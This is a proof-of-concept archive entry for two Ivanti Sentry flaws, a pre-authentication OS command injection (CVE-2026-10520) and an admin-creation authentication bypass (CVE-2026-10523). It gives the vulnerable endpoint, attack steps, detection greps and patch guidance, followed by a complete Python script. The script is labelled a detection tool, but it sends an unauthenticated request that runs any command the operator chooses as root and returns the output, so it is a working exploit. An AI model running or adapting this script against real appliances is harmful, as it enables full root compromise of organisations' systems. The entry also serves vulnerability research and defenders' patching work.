PoC Archive PoC Archive
Critical CVE-2026-10520, CVE-2026-10523 patched

Ivanti Sentry Pre-Auth RCE + Auth Bypass (CVE-2026-10520 / CVE-2026-10523)

by Sonny / watchTowr · 2026-06-28

Metadata

FieldValue
Date Added2026-06-28
Last Updated2026-06-09
Author / ResearcherSonny / watchTowr
CVE / AdvisoryCVE-2026-10520, CVE-2026-10523
Categorynetwork
SeverityCritical
CVSS Score10.0 (CVE-2026-10520, CVSSv3); 9.9 (CVE-2026-10523)
StatusPoC
Tagspre-auth, RCE, OS-command-injection, Ivanti, Sentry, MICS-API, auth-bypass, admin-creation, CISA-KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemIvanti Sentry (formerly MobileIron Sentry)
Versions AffectedIvanti Sentry ≤ 10.7.0, ≤ 10.6.1, ≤ 10.5.1
Language / PlatformPython (PoC); Linux (target)
Authentication RequiredNo (unauthenticated)
Network Access RequiredYes (HTTPS, MICS port)

Summary

Two critical vulnerabilities in Ivanti Sentry enable unauthenticated root-level RCE and arbitrary admin account creation. CVE-2026-10520 is an OS command injection in the MICS API at /mics/api/v2/sentry/mics-config/handleMessage (CVSS 10.0). CVE-2026-10523 is an authentication bypass allowing unauthenticated creation of arbitrary admin accounts (CVSS 9.9). A PoC published by watchTowr on June 10 triggered in-the-wild exploitation within 24 hours; CISA added both to KEV on June 11, 2026.


Vulnerability Details

Root Cause

CVE-2026-10520: The MICS API endpoint /mics/api/v2/sentry/mics-config/handleMessage fails to authenticate incoming requests and passes attacker-controlled input directly to a shell command without sanitization, enabling unauthenticated root-level OS command injection.

CVE-2026-10523: A separate authentication bypass in the MICS admin interface allows an unauthenticated attacker to call privileged endpoints and create arbitrary administrator accounts on the appliance.

Attack Vector (CVE-2026-10520)

  1. Send unauthenticated HTTP POST to /mics/api/v2/sentry/mics-config/handleMessage.
  2. Inject OS command via attacker-controlled parameter in the JSON body.
  3. Command executes as root on the Ivanti Sentry appliance.

Impact

Full unauthenticated remote code execution as root. Combined with CVE-2026-10523, an attacker can both execute commands and create persistent admin accounts. Exploitation was confirmed in the wild within 24 hours of PoC release. Treat unpatched appliances as fully compromised.


Environment / Lab Setup

Target:   Ivanti Sentry ≤ 10.7.0 / 10.6.1 / 10.5.1
Attacker: Python 3 with requests library

Proof of Concept

PoC Script

See watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py in this folder.

1
2
3
python3 watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py \
  --url https://TARGET_IP \
  --cmd "uname -a"

Expected Output (vulnerable)

[+] Sending command execution check to: https://TARGET/mics/api/v2/sentry/mics-config/handleMessage
[+] Target appears to be vulnerable.

Command output:
Linux sentry-host 4.18.0-553.84.1.el8_10.x86_64 ...

Detection & Indicators of Compromise

1
2
3
4
5
grep "handleMessage" /var/log/mics/access.log

grep -r "admin" /opt/ivanti/mics/data/users/

netstat -anp | grep mics

Remediation

ActionDetail
PatchUpgrade to Ivanti Sentry 10.7.1, 10.6.2, or 10.5.2
Treat as compromisedIf unpatched and internet-exposed, assume compromise; audit admin accounts and review MICS logs
Ivanti advisoryhttps://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Sentry-CVE-2026-10520-CVE-2026-10523

References


Notes

Auto-ingested from https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523 on 2026-06-28. Two CVEs ingested as a single entry (same appliance, same watchTowr PoC). PoC published June 10; ITW exploitation confirmed within 24 hours; CISA KEV June 11, 2026.

watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3


import sys
import requests
import re
import argparse
import urllib3
from urllib.parse import urljoin

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py

        (*) Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
        
          - Sonny , watchTowr (sonny@watchTowr.com)

        CVEs: [CVE-2026-10520, CVE-2026-10523]
        """

def make_command_request(base_url, command, proxies=None):
    """Send the command execution detection request and return the HTTP response."""
    url = urljoin(base_url.rstrip("/") + "/", "mics/api/v2/sentry/mics-config/handleMessage")
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = {
        "message": (
            "execute system /configuration/system/commandexec "
            f"<commandexec><index>1</index><reqandres>{command}</reqandres></commandexec>"
        )
    }

    print(f"[+] Sending command execution check to: {url}")

    return requests.post(
        url,
        headers=headers,
        data=data,
        timeout=10,
        proxies=proxies,
        verify=False,
        allow_redirects=False,
    )

def extract_command_output(response):
    """Extract command output from the successful JSON/XML response body."""
    body = response.text
    data = body

    try:
        parsed = response.json()
        data = parsed.get("data", "")
    except ValueError:
        pass

    if "Message handled successfully" not in body or "<result><success>" not in data:
        return None

    match = re.search(r"<result><success>(.*?)</success></result>", data, re.DOTALL)
    if not match:
        return None

    return match.group(1)

def main():
    # Print the banner first
    print(banner)
    
    parser = argparse.ArgumentParser(description='watchTowr Ivanti Sentry Detection Artifact Generator Tool [CVE-2026-10520, CVE-2026-10523]')
    parser.add_argument('--url', required=True, help='Target base URL (e.g., https://127.0.0.1:8443)')
    parser.add_argument('--cmd', required=True, help='Command to run for detection (e.g., "uname -a")')
    parser.add_argument('-p', '--proxy', help='Proxy address:port (e.g., 127.0.0.1:8080)')
    
    args = parser.parse_args()
    
    base_url = args.url.rstrip('/')  # Remove trailing slash if present
    proxies = None
    
    if args.proxy:
        proxies = {
            'http': f'http://{args.proxy}',
            'https': f'http://{args.proxy}'
        }
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    print("="*60)
    print(f"Target: {base_url}")
    print(f"Command: {args.cmd}")
    if proxies:
        print(f"Proxy: {args.proxy}")
    print()
    
    try:
        response = make_command_request(base_url, args.cmd, proxies)
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        sys.exit(1)

    command_output = extract_command_output(response)
    if command_output is None:
        print("[-] Target does not appear to be vulnerable.")
        sys.exit(1)

    print("[+] Target appears to be vulnerable.")
    print("\nCommand output:")
    print(command_output.rstrip())

if __name__ == "__main__":
    main()